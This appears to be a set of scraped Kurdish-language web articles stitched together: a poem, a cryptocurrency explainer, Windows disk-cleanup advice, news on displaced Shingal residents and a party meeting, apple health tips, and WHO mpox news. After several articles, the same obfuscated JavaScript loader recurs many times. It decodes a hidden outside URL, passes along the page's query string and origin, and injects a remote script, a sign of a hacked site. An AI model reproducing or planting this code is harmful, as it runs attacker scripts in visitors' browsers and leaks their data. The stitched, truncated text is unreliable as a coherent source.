محسن قۆچان

رێكێن درێژ
داڤێن هزران دكەنە پێلاڤ
ب رویێ رێكێ ڤە ددرینن
شلۆڤەیە
شلۆڤە من برسی دكەت
برس نەشێتن من ب هەلگریت
ل سەر ملێن تە ببم لۆلاڤ
دەنگێن بلند
داڤێن موی یێن ل سەر زەندا من ل قنارێ ددەن
دەنگێن بلند و رێكێن درێژ ژ قۆلپەكێنە
من دوەستینن
بارەكێ خوێ ل بن پیستێ من بژالە دكەن
ژانە سەرێ دگەل خۆ دئینن
بۆچی گولەك ل ڤێ وەغەرێ ددەست تە دایە؟
گولەك بتنێ!
تو هزر دكەی
جانێ گولێ جوانیەكە و
جوانی بەسە، دێ مە پارێزیت ژ مرنێ؟
لەو جوانیا تە دێ كەم گولاڤ
كەمە هێمایا هەبوونێ هەمی سلاڤ
دێ بژینم
بەلكی ئاشتی، عشق و ڤیان بەلاڤە ببن ل هەمی دنێ
د ڤێ رێ دا
نیڤ ئەز نیڤ تو كێڤریشكەكین
نێچیرەكین كەتینە د تەلهەیا شەڤێدا
ئەز
ئو تو
داڤێن خەونانین ژ هێز كەتی
ئەز
ئو تو
كاروانەكێ بار گرانین
دگەك خەم و ژانێن ملەتی
درێژە رێ
شلۆڤە و رێ سەرێ من د وەرمینن
بنێن پێیێن من د كەنە گرێ
درەك نینە ئەز سەرێ خۆ ب هەلپسێرمێ
ژ بەفر و قوڕێ
دەستویری بیت
دێ سەرێ خۆ دەم سینگێ تە
بەس بیستەكێ
بلا ب خێرا مرییێن تە بیت،
یان ژی بكرێ.
18|1|2025

دراڤێن کریپتۆ بریتیینە ل جورەکی پارەی دیجیتالی کو ببێ بانکین تەقلیدی کاردکەت، ب بکارئینانا سیستەمێکی نە مەرکەزی کو دبێژنێ (بلۆکچەین) بۆ تۆمارکردنا مامەڵێن دارایی. هەرچەندە ڕەنگە زاراوێ “کریپتۆ” ب شاشی بهێتە ناسین، بەلێ لڤێرە دا دێ دابەشکرنەکا سادە بو جۆرێن جیاواز و ب کارئینانا وان دەینە دیارکرن.
1- بیتکۆین:
بیتکۆین ل ساڵا ٢٠٠٩ هاتییە دروستکرن، ئێکەم و بەرنیاسترین دراڤێ کریپتۆیە. زۆرجارا دهێت نیاسین ب (زێڕێ دیجیتاڵی)، پلا ئێکێ دهێت وەک کۆگایەکا ب بەها و ڕێکەک بۆ ڤە گوهاستنا پارەی ب بێ بانک. سروشتی نە مەرکەزیا بیتکۆینی رامانا وێ نە بونا هیچ لایەکێ یان دەزگایەکی کۆنترۆڵی ل سەر بکەت، ل بەر ڤێ چەندێ سەرنجڕاکێشە بۆ وان کەسان کو سەربەخۆیا دارایی دڤێت و نە چنە دناڤ سیستەمی تەقلیدی یێ بانکی. بەلێ پا بهایێ وی زۆرا ناجێگیرە. ل ماوەیەکی کورتدا ب شێوەیەکی سەرنجڕاکێش بەرزدبیت یان دادکەڤیت.
2- ئاڵتکۆین: جێگرێن بیتکۆینی
ئاڵتکۆین چەند جورەکێن هه یین وەک (ئیتیریم) و (لایتکۆین) دهێنە هەژمارتن وەک جێگر بۆ بیتکۆینی. ئیتیریم ژ ستانداردێن پارێ دیجیتاڵی تێ دپەڕیت، سەکویەکێ پێشکەش دکەت بۆ دروستکردنا (ئەپلیکەیشینێن) نە مەرکەزی و گرێبەستێن زیرەک. لەوما دهێتە هەژمارتن ئێک ژ دراڤێن خودان بەهایەکی زۆر. ڕێ خوشکەرەکە بو کەسانێن گەشەپێدەر ل بوارێ سیستەمێن پاراستنا مامەلێن دارایی و ئۆتۆماتیکرانا ڤان مامەلا. هەمان دەمدا لایتکۆین سەرنجا خەلکێ راکێشای چنکی خێراییەکا زۆرا هەی ل جێ بجێ کرنا مامەلا و ئەرزانرترە ل تێچوێن بیتکۆین. دیڤدا ڕیپڵ دهێت بۆ بانک و دامەزراوێن دارایی کو کارێ ڤەگوهاستنا پارەی ب خێراییەکا پێوانی ئەنجام ددەت.
3- Stablecoins دراڤێ جێگیر
(Stablecoins) وەک Tether (USDT) و USD Coin (USDC) یا گرێدایە ب دۆلاری ئەمریکی و سەقامگیریەکا زێدەتر پێشکەش دەکەت ل چاڤ دراڤێن کریپتۆین دی تر. ل بەر ڤێ چەندێ دبیتە بژاردەیەکا ب ناڤ و دەنگ بۆ وان کەسێن کو دڤێن خۆ دیر بکەن ژ بەرزی د داکەتنا نرخێ کرێپتۆیان . Stablecoins بۆ مامەڵێن ڕۆژانە دهێتە بکار ئینان، وەک کڕینا کاڵا یان هەنارتنا پارە بۆ کەسەکێ دی. کێمتر مەترسیا ل دەستدانی یا هەی. زۆرجارا وەک “بەندەرێکی سەلامەت” دهێتە بکار ئینان وەکی ناجێگیریا زۆر دکەڤیتە ناڤ بازاڕی کریپتۆدا.
4- دراڤی میم: تنێ بۆ خوشی
(دۆجکۆین) و (شیبا ئینو) نموونەیا دراڤێن میمن، کو بۆ خۆشی هاتیەن دروستکرن ژبەر کلتوری ئینتەرنێتێ ناڤ و دەنگی ب دەستڤەئینا یە. سەرەتا وەک یاری دەست پێکر، دۆجکۆین کۆمەڵگەهەکا دڵسۆزان و لایەنگران یاهەی بۆ وەرگرتنا پارەی ئۆنلاین و مامەڵێن بچووک دهێتە ب کارئینان. شیبا ئینو وەک دۆجکۆین کاردکەت، ژ بەر بانگەشەیا سۆشیال میدیاو ناڤ و دەنگ بوو. هەندەکجارا دراڤێن میم تووشی بەرزبوونەکا مەزن دبن ب سەدان کەسان دەولەمەند دبن. بەلێ بەهایا وان ب شێوەکی بەرچاڤ دادکەڤیتو دبیتە سفر.
دراڤێن کریپتۆ ب چەندین شێوا هەنە، هەرئێک بو کارەکی دهێتە بکار ئینان و مەترسیا وان ژی یا جیاوازە. بیتکۆین وەک زێڕی دیجیتاڵی دهێت ناسین، یا دیار دراڤێن دیجیتالی پشتگیریا تەکنەلۆژیا داهێنەرانە دکەت، سەقامگیریا نرخا پێشکەش دەکات ل هندەک دەمان دا و دراڤێن میم رێکەکا مەترسیدارە ل هەمان دەمدا زۆر کەس پێ دەولەمەند بینە. ئاگاداربوون و هوشیارا کەسی کلیلا بڕیاردانێ یا ل ڤی جۆری بازاری دا. هەژی گوتنێ یە بازارەکێ زێدە مەترسی دارە بوو وان کەسان ئەوێن بێ تێگەهەشتنەکا باش دڤی بواری دا کاردکەن.

چو پێ نه‌ڤێت گه‌له‌ك ژ پشكدارێن ویندوزی تووشی ڤێ‌ ئاریشێ‌ دبن یان ژی پێشتر تووش بووینه‌ كو دێسك زوو پڕ دبن، ئه‌ڤه‌ ژی دبیت ژ به‌ر گه‌له‌ك ئه‌گه‌ران بیت، ل ده‌ف هنده‌ك كه‌سان ئه‌ڤه‌ ئاریشه‌كا نورماله‌ و گرنگیێ‌ ناده‌تێ‌، دبیت ئه‌ڤه‌ ژ ئه‌گه‌رێ‌ جورێن به‌رنامان بیت یان ژی ژ به‌ر ڤایرۆسا و به‌رنامێن پیس و فایلا و گه‌له‌ك تشتێن دی.
د ڤی بابه‌تی دا، دێ‌ به‌حس ل فایلا و فولده‌ران كه‌ین و دێ‌ چار فایلان به‌رچاڤ كه‌ین كو دبنه‌ ئه‌گه‌رێ‌ زوو پڕبوونا دێسكی ژ به‌ر هندێ‌ ل سه‌ر ته‌ پێدڤیه‌ زوو دیلێت بكه‌ی.

1- ویندو ئولد Windows.old
ئه‌ڤێ‌ فایلێ‌ هه‌موو پێزانینێن ویندوزی یێن به‌رێ‌ یێن تێدا چو وه‌كو به‌رنامه‌ یان ژی درایڤه‌ر یان هه‌ر تشته‌كێ‌ دی، ب ڤێ‌ رێ‌ ژی تو دشێی گه‌له‌ك ژ جهێ‌ پڕبووی ب ڤه‌گه‌رینێ‌. دیسا كۆمپیۆته‌ر ب خوه‌ ژی دێ‌ فایلێن زێده‌ هه‌ر 10 رۆژان جاره‌كێ‌ دیلێت كه‌ت. به‌لێ‌ هه‌كه‌ ته‌ بڤێت ب ده‌ست دیلێت بكه‌ی، كار پیچه‌ك یێ‌ ب زه‌حمه‌ته‌، به‌لێ‌ د سه‌ر هندێ‌ را ژماره‌كا زۆر یا ڤیدیۆیان ل سه‌ر یوتیوبی هه‌یه‌ و دشیان دایه‌ ل دووڤ وان بچی و وی كاری ئه‌نجام بده‌یی.

2- سه‌لكا گلێشی یا فۆلده‌ران RecycleBinFolder
ب ناڤێ‌ كوربێیل Corbeille دهێته‌ نیاسین و هه‌موو بكارئینه‌رێن ویندوزی دزانن كو هه‌ر تشتێ‌ ئه‌و دیلێت دكه‌ن دچیته‌ د وێرێ‌ دا، چو فایل یان وێنه‌ یان ڤیدیۆ یان هه‌ر تشته‌كێ‌ دی بیت، ژ به‌ر هندێ‌ ژی ل ده‌مێ‌ ماوه‌كێ‌ درێژ پێ‌ دچیت ئه‌ڤه‌ دێ‌ كارتێكرنێ‌ ب خرابی كه‌ته‌ سه‌ر جهی. ژ به‌ر هندێ‌ هه‌كه‌ ته‌ بڤێت ڤێ‌ فایلێ‌ دیلێت بكه‌یی ل سه‌ر ته‌ پێدڤیه‌ بچیه‌ جهێ‌ كورتكریان ل سه‌ر دێسكتۆپی و دشیان دایه‌ دیلێت بكه‌ی ب گرتنا دوگما ویندوز + R و دێ‌ تێدا نڤیسی RecycleBinFolder پاشان دێ‌ په‌نجه‌ره‌ك ڤه‌بیت و فۆلده‌ر و تشتێن زێده‌ یێن تێدا، دێ‌ هه‌موویان ده‌ستنیشان كه‌ی و دیلێت كه‌ی.

3- فایل Temp
ئه‌ڤ فایله‌ ژی گرێدایی وان فایلێن ده‌می یه‌ یێن گرێدایی كارێ‌ به‌رنامان د ناڤ كۆمپیۆته‌ری دا، ل گه‌ل بۆرینا ده‌می و كاركرنا زێده‌ ل سه‌ر كۆمپیۆته‌ری ئه‌و ژی پڕ دبیت و كارتێكرنه‌كا خراب دكه‌ته‌ سه‌ر دێسكی و ژ به‌ر هندێ‌ ل سه‌ر ته‌ پێدڤیه‌ ئه‌وان فایلان ژی دیلێت بكه‌ی، یا ل سه‌ر ته‌ پێدڤیه‌ ب سێرچا ب ره‌خ ویندوزی ڤه‌ لێبگه‌ری و پشتی دیار دبیت و وان ژی هه‌موویان ده‌ستنیشان بكه‌ و پاشان دیلێت بكه‌.

4- ملف hiberfil.sys
ئه‌م هه‌موو دزانین كۆمپیۆته‌ری بێخینه‌ د ره‌وشا راوه‌ستیانێ‌ دا، پاشان دشیان دایه‌ كۆمپۆته‌ری ب ڤه‌مرینی و پاتریێ‌ ژ به‌ر بینی و بۆ ده‌مه‌كێ‌ نه‌یێ‌ دیار، پاشان ژی لێ‌ ڤه‌گه‌ری و بكه‌یه‌ به‌ر و ڤه‌گه‌رینی ل هه‌ر ده‌مێ‌ ته‌ ڤیا بێ‌ ئاریشه‌، به‌لێ‌ خوانده‌ڤانێ‌ خوه‌شتڤی ته‌ جاره‌كێ‌ هزرا خوه‌ كریه‌ دێ‌ چاوان ڤه‌گه‌ریه‌ وێ‌ ره‌وشێ‌ و دووباره‌ كۆمپیۆته‌ری ڤه‌مرینی و ڤه‌گه‌ریه‌ سه‌ر وێ‌ ره‌وشێ‌ یا ته‌ ده‌ستپێكری؟ به‌رسڤ ئه‌وه‌ كو ئه‌ڤ كاره‌ هه‌موو د hiberfil.sys دهێنه‌ سه‌یڤ كرن و ل ده‌مێ‌ دووباره‌كرنا ڤێ‌ كریارێ‌ فایل دێ‌ مه‌زن و بنه‌ ئه‌گه‌رێ‌ پڕبوونا دێسكی

رێڤەبەرێ كۆچ و كۆچبەران ل پارێزگەها دهۆكێ راگەهاند: پێدڤییە فشار ل حوكمەتا فیدرالی بهێتە كرن بۆ بجهئینانا رێككەفتنا شنگالێ، هەروەسا دیاركر كو تۆنێلەك ب شەڤێ ل شنگالێ دهێتە كولان و حوكمەتا بەغدا خوە لێ بێدەنگ دكەت.
دوهی سێشەمبی 27/8/2024، پیر دەیان جەعفەر، رێڤەبەرێ كۆچ و كۆچبەران ل پارێزگەها دهۆكێ د داخۆیانییەكا رۆژنامەڤانیدا گوت» پشتی بۆرینا 10 سالان هێشتا 70% ژ ئاوارەیێن شنگالێ نەشێن بزڤرن دەڤەرێن خوە».
هەروەسا دیاركر» جینۆسایدكرنا شنگالییان یا بەردەوامە كو نەشێن بزڤرن. هەتا نوكە دو هزار ئێزدی ل بن دەستێ داعشێدا یێن ماین، ژبلی ئەوێن هاتینە رزگاركرن».
پیر دەیان خویاكر» خزمەتگوزاری و رەوشا تەناهیێ ل شنگالێ یا گونجایە بۆ زڤرینا خەلكێ وێ، پێدڤییە فشار ل حوكمەتا ئیراقێ بهێتە كرن رێككەفتنا شنگالێ بجهبینیت. هندەك ئالی رێگریێ ل بجهئینانا ئەوێ رێككەفتنێ دكەن».
پتر گوت» خزمەتگوزارییان د ناڤ كەمپێن ئاوارەیاندا ل سەر حوكمەتا هەرێما كوردستانێ نە هەرچەندە حوكمەتا هەرێمێ یا ل پێشبەری ئاستەنگەكا داای مەزن. د نوكە دا 20 كەمپ ل سنوورێ دهۆك و زاخۆ یێن هەین، مەهانە ملیۆنەك و 830 هزار دۆلار بۆ مەزاختیێن ئەوان كەمپان د پێدڤینە».
ئاماژەكر ژی كو مەترسییا گوهۆڕینا دیموگرافی ل شنگالێ یا هەی و گوت» پێدڤییە رێكخراوێن نێڤدەولەتی ئەوێ فشارێ دروست بكەن پشتی بۆرینا سێ سالان، رێككەفتنا شنگالێ بهێتە بجهئینان و پێدڤییە خەلكێ شنگالێ بهێتە قەرەبووكرن و خزمەتگوزاری بۆ بهێنە دابینكرن».
خویاكر ژی» ئەو پارەیێ حوكمەتا ئیراقێ بۆ زڤرینا ئاوارەیێن شنگالێ دابین كری گەلەك یێ كێمە، ئەوێن ل دەرڤەی كەمپان، ئەو گۆژمەیێ پارەی ژوان ناگریت». هەروەسا دیاركر» رەفتارەكا سیاسی ل گەل خەلكێ شناێ دهێتە كرن».
ل دوماهیێ گوت» ل دووڤ پێزانینان تۆنێل ل شنگالێ هاتییە لێدان و گرۆپێن ل وێرێ كاری تێدا دكەن و حوكمەتا ئیراقێ ژی یا خوە لێ بێدەنگ كری».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئەڤرۆ رۆژا سێشەمبی رێكەفتی27-8-2024ێ
سەربەست لەزگین، ئەندامێ مەكتەبا سیاسی و بەرپرسێ مەكتەبا رێكخستنا پارتی ل پارێزگەها دهـۆكێ دوهی 27/8/2024 ل بارەگایێ مەكتەبێ پێشوازی ل ستافێ‌ نوو یێ ئێكەتیا ئافرەتێن كوردستانێ یێ‌ پێكهاتی ژ هەر شەش ناڤەندێن (دهـۆك، دەوروبەرێن دهـۆك، زاخۆ، ئاكرێ و ئامیدی)یێ‌ یێن ئێكەتیا ئافرەتێن كوردستانێ كر.
سەربەست لەزگین ل دەستپێكێ پیرۆزباهێن خوە ئاراستەی ستافێ‌ نوو یێ ئێكەتیا ئافرەتێن كوردستانێ كر ب مەرەما دەست ب كاربوونا وان د ئەركێ نوو دا و هیڤیا سەركەفتن و پێشكەفتنێ بۆ خواست.
د دووڤ دا بەرپرسێ مەكتەبا رێكخستنا پارێزگەها دهۆكێ سمینارەك پێشكێش كر و پشتەڤانیكرنا ئافرەتێ د هەمی بیاڤەكی دا ب گرنگ زانی، هەروەسا رۆلێ ئافرەتا كورد د جڤاكی دا بلند هەلسەنگاند و گۆت: «ئافرەتێ رۆلەكێ كارا و باش هەبوویە و جهێ خوە د هەمی سێكتەرێن ژیانێ دا كریە، ل هەر جه و دەمەكی ژی پارتی پشتەڤانیا ئافرەتان كریە و دێ‌ كەت، ب تایبەت د بیاڤێ‌ پشكداریكرنا ئافرەتێ د وارێن سیاسی و ئیداری دا».
دیسا ەر دوهی 27/8/2024 سەربەست لەزگین، ئەندامێ مەكتەبا سیاسی و بەرپرسێ مەكتەبا رێكخستنا پارتی ل پارێزگەها دهـۆكێ ل بارەگایێ مەكتەبێ پێشوازی ل بەختیار حەیدەر، بەرپرسێ فەرمانگەها یاسایی یا مەكتەبا سیاسی یا پارتی و شاندێ د گەل دا كر و د روونشتنەكێ دا هەردو ئالیان روناهی ئێخستنە سەر داوی پێشهات و گوڕانكاریێن د ناڤ پرۆسەیا سیاسی دا.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئێک: کریارا هەرسێ باشتر لێدکەت:
ژ ئەگەرێ هەبوونا ماددێن رویشالی، دشیاندایە ب کریارێن مەعیدێ باشتر لێبکەت.
دو: مادەیێ دژی ژەهراویبوونێ تێدایە:
خوارنا سێڤێ سپێدەهیان کۆلیسترۆلێ خراپ ژناڤ دبەت و خوێ ل ناڤ لەشی هەڤسەنگ دکەت، هەکە دەمەکێ درێژ سێڤێ بخوی، دێ لەشێ تە چالاکتربیت.
سێ: باشە بۆ قەبزبوونێ:
ژ ئەگەرێ هەبوونا ماددێن رویشالی تێیدا دێ تە ژ قەبزبوونێ دووردئێخیت.
چار: وەستیانێ ناهێلین و پیستی دپارێزیت:
سێڤێ گەلەک ڤیتامین C تێدایە، بۆ پیستی باشن، هاریکارە دژی تێکچوونا دێمی و مفایەکێ باش هەیە دژی نەخۆشیان و پەژی و ماندووبوونێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

رێکخراوا ساخلەمیا جیهانی ب فەرمی رەوشا نەئاسایی بۆ بەلاڤبوونا نەخۆشییا mpox کو ‘’خوریکێن مەیمینکا’’ دهێتە نیاسین رااگەهاند و سەرۆکێ رێکخراوێ دبێژیت: پێدڤیە ساخلەمیێن وەڵاتان رێکارێن خۆپارێزیێ بۆ نەخۆشیێ دژواربکەن.
رۆژا چارشەمبی 14ـی ئاب د. تێدرۆس ئادهانۆم، سەرۆکێ رێکخراوا ساخلەمیا جیهانی ئاشکرکر، نەخۆشییا mpox ل هندەک وەلاتێن ئەفیقیا بەلاڤبوویە کو پێشتر هیچ تووشبوونەک تێدا نەهاتبوو تۆمارکرن.
ل دووڤ رێکخراوێ، ئەو نەخۆشیی ل ناڤەراستا سالا 2023 دووماهی ب بەلاڤبوونا وێ و رەوشا مەترسیدار هاتبوو، بەلێ جارەکا دی و دئەڤ سالەدا ب فەرمی بەلاڤبوونەکا بەرچاڤ ب خۆڤەدیت، لەورا بەرپرسێن ساخلەمیێ هۆشداریێ ل نەخۆشیێ ددەن کو هەرچەندە رێژا مرنێ کێمە، بەلێ لێکەفت گەلەکە.
ل دووڤ ناڤەندا کۆنتڕۆڵ و پێشگیریکرنێ ل نەخۆشیان CDC ل ئەفریقیا، ل دەستپێکا ئەڤساڵە زێدەتر ژ 17 هزار تووشبوویێن نەخۆشییا ‘’خوریکا مەیمینکا’’ تۆمارکرینە و 500 کەسان گیانێ خۆ ژ دەستدایە؛ ئەفەژی بەراورد ب سالا بووری 160٪ زلدەکریه.
نەخۆشی یا ڤایرۆسییە و ژ ئاژەلان بۆ مرۆڤان ب ڤان رێکا دهێتە ڤەگۆهاستن:
– دەستکرن، ماچیکرن، سێکس، ب کارهێنانا جلکا، و دەرزیێن ب کارهاتی یێن کەسی تووشبووی.
نیشانێن نەخۆشیێ پێکهاتینە:
– تا، پرسکێن پیستی، سەرئێشان، ئازارن ماسوولکان، بێهێزی، وەرمینا گرێ یێن لیمفی، ڤاکسین رێکا ئێکانەیە بۆ بەرهنگاریا نەخۆشیێن ڤایرۆسی و ب گۆتنا ڕێڤەبەرێ پڕۆگرامێ ڤێراگەهشتنێ ل WHO، نیڤ ملیۆن قورچێن ڤاکسینێ د ئامادەنە و دهێتە چاڤەرێکرن هەتا دووماهیا ئەڤسالە؛ ژمارا ڤاکسینان بگەهینین 2.4 ملیۆن قورچان.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var 